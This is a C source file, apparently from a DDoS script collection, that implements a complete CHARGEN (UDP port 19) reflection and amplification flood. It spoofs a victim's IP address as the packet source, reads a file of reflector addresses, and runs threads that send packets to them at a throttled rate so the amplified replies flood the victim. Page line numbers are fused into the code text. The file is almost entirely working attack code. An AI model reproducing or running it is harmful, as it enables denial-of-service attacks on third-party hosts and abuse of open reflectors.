Path: blob/master/DDOS Scripts/AMP Methods/Miscellaneous (not worth individual mention)/chargen.c
4622 views
/*-------------------------------1Character Generator - not worth an article2- Phenomite3-------------------------------*/4#include <arpa/inet.h>5#include <netinet/ip.h>6#include <netinet/udp.h>7#include <pthread.h>8#include <stdio.h>9#include <stdlib.h>10#include <string.h>11#include <sys/socket.h>12#include <time.h>13#include <unistd.h>1415static unsigned int DPORT = 19;16static const char PAYLOAD[] = "\x01";1718// Phenomite template begin19#define MAX_PACKET_SIZE 409620#define PHI 0xaaf219b921static uint32_t Q[4096], c = 362436;22static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;2324struct list {25struct sockaddr_in data;26struct list *next;27struct list *prev;28};29struct list *head;30volatile int tehport;31volatile int limiter;32volatile unsigned int pps;33volatile unsigned int sleeptime = 100;34struct thread_data {35int thread_id;36struct list *list_node;37struct sockaddr_in sin;38};3940void init_rand(uint32_t x) {41int i;42Q[0] = x;43Q[1] = x + PHI;44Q[2] = x + PHI + PHI;45for (i = 3; i < 4096; i++) {46Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;47}48}4950uint32_t rand_cmwc(void) {51uint64_t t, a = 18782LL;52static uint32_t i = 4095;53uint32_t x, r = 0xfffffffe;54i = (i + 1) & 4095;55t = a * Q[i] + c;56c = (t >> 32);57x = t + c;58if (x < c) {59x++;60c++;61}62return (Q[i] = r - x);63}6465/* function for header checksums */66unsigned short csum(unsigned short *buf, int nwords) {67unsigned long sum;68for (sum = 0; nwords > 0; nwords--)69sum += *buf++;70sum = (sum >> 16) + (sum & 0xffff);71sum += (sum >> 16);72return (unsigned short)(~sum);73}7475void setup_ip_header(struct iphdr *iph) {76iph->ihl = 5;77iph->version = 4;78iph->tos = 0;79iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;80iph->id = htonl(61337);81iph->frag_off = 0;82iph->ttl = MAXTTL;83iph->protocol = IPPROTO_UDP;84iph->check = 0;85iph->saddr = inet_addr("127.0.0.1");86}87void setup_udp_header(struct udphdr *udph) {88udph->source = htons(61337);89udph->dest = htons(DPORT);90udph->check = 0;91memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);92udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);93}94void *flood(void *par1) {95struct thread_data *td = (struct thread_data *)par1;96char datagram[MAX_PACKET_SIZE];97struct iphdr *iph = (struct iphdr *)datagram;98struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);99struct sockaddr_in sin = td->sin;100struct list *list_node = td->list_node;101int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);102if (s < 0) {103fprintf(stderr, "Could not open raw socket.\n");104exit(-1);105}106init_rand(time(NULL));107memset(datagram, 0, MAX_PACKET_SIZE);108setup_ip_header(iph);109setup_udp_header(udph);110udph->source = htons(tehport);111iph->saddr = sin.sin_addr.s_addr;112iph->daddr = list_node->data.sin_addr.s_addr;113iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);114int tmp = 1;115const int *val = &tmp;116if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {117fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");118exit(-1);119}120init_rand(time(NULL));121register unsigned int i;122i = 0;123while (1) {124list_node = list_node->next;125iph->daddr = list_node->data.sin_addr.s_addr;126iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);127iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);128sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,129sizeof(list_node->data));130pps++;131if (i >= limiter) {132i = 0;133usleep(sleeptime);134}135i++;136}137}138int main(int argc, char *argv[]) {139if (argc < 6) {140fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",141argv[0]);142exit(-1);143}144srand(time(NULL));145int i = 0;146head = NULL;147fprintf(stdout, "Loading list to buffer\n");148int max_len = 512;149char *buffer = (char *)malloc(max_len);150buffer = memset(buffer, 0x00, max_len);151tehport = atoi(argv[2]);152int num_threads = atoi(argv[4]);153int maxpps = atoi(argv[5]);154limiter = 0;155pps = 0;156int multiplier = 20;157FILE *list_fd = fopen(argv[3], "r");158while (fgets(buffer, max_len, list_fd) != NULL) {159if ((buffer[strlen(buffer) - 1] == '\n') ||160(buffer[strlen(buffer) - 1] == '\r')) {161buffer[strlen(buffer) - 1] = 0x00;162if (head == NULL) {163head = (struct list *)malloc(sizeof(struct list));164bzero(&head->data, sizeof(head->data));165head->data.sin_addr.s_addr = inet_addr(buffer);166head->next = head;167head->prev = head;168} else {169struct list *new_node = (struct list *)malloc(sizeof(struct list));170memset(new_node, 0x00, sizeof(struct list));171new_node->data.sin_addr.s_addr = inet_addr(buffer);172new_node->prev = head;173new_node->next = head->next;174head->next = new_node;175}176i++;177} else {178continue;179}180}181struct list *current = head->next;182pthread_t thread[num_threads];183struct sockaddr_in sin;184sin.sin_family = AF_INET;185sin.sin_addr.s_addr = inet_addr(argv[1]);186struct thread_data td[num_threads];187for (i = 0; i < num_threads; i++) {188td[i].thread_id = i;189td[i].sin = sin;190td[i].list_node = current;191pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);192}193fprintf(stdout, "Yeeting\n");194for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {195usleep((1000 / multiplier) * 1000);196if ((pps * multiplier) > maxpps) {197if (1 > limiter) {198sleeptime += 100;199} else {200limiter--;201}202} else {203limiter++;204if (sleeptime > 25) {205sleeptime -= 25;206} else {207sleeptime = 0;208}209}210pps = 0;211}212return 0;213}214215216